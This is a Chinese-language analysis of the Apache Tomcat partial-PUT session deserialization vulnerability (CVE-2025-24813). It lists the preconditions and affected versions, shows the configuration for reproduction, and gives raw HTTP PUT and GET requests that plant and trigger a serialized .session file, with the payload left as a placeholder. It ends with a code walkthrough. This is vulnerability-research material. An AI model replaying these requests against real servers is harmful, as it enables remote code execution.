Tomcat Session 反序列化漏洞(CVE-2025-24813)
1.漏洞描述
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。
该漏洞利用条件较为复杂,需同时满足以下四个条件:
应用程序启用了DefaultServlet写入功能,该功能默认关闭
应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库
2.影响版本
9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2
3.漏洞复现
在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能
conf/context.xml
在conf/context.xml中,添加如下配置,开启File文件会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
将Commons Collections 3.2.1.jar放入lib文件夹
commons-collections:commons-collections:3.2.1 可以使用CommonsCollectionsK1 ,CommonsCollectionsK3 等链来打
PUT /000/session HTTP/1.1
Host: 192.168.100.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{反序列化文件内容)}}
该文件会在tomcat中\work\Catalina\localhost\ROOT目录生成
GET / HTTP/1.1
Host: 192.168.10.218:8080
Cookie: JSESSIONID=.000
4.漏洞分析
自带的一个 Servelet 会处理一些默认类型的请求,如 PUT、POST、GET。
CVE-2017-12615、CVE-2024-50379均涉及该方法,也就是 doPUT,其实逻辑很简单,如以下代码。
WebResource oldResource = this.resources.getResource(path)
这里直接获取 Web 根目录了,然后将文件上传,这也是最开始的 PUT 文件上传漏洞点。而今天的漏洞点出自上述的 else 分支。
executePartialPut
Tomcat 在处理不完整的 PUT 请求有单独的逻辑。这个和请求头 Content-Range 有关
其实你可以理解为和分块差不多一个意思。
PUT /CVE_2025_24813_war_exploded/a/session HTTP/1.1
Host: 192.168.10.218:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
利用该方法上传一个session 文件,看看过程
start、end、length和请求头对应,随后会进入 executePartialPut 内。
在这里会将斜杠替换为.,因此我们可以上传一个 xxx.session 文件。具体处理逻辑在底部
核心逻辑在这里,以 range.length作为文件的长度,range.start作为起始点开始处理流,这也是为什么 length 必须要大于 body 的总长度,不然无法将内容完全上传。
状态码409 错误,实际上已经上传了
FileStore#load
这部分是反序列化触发点,CVE-2020-9484出自这里,所以不难看出这其实是一个组合漏洞,当时CVE-2020-9484是因为存在目录穿越问题所以可以穿越加载一个自定义的序列化文件。
this.file(id); 内容如下
修复方式就是getCanonicalFile处理穿越问题。因此无法目录穿越了,只能加载缓存目录下的.session后缀文件并且将其反序列化。反序列化的触发点是没删除的。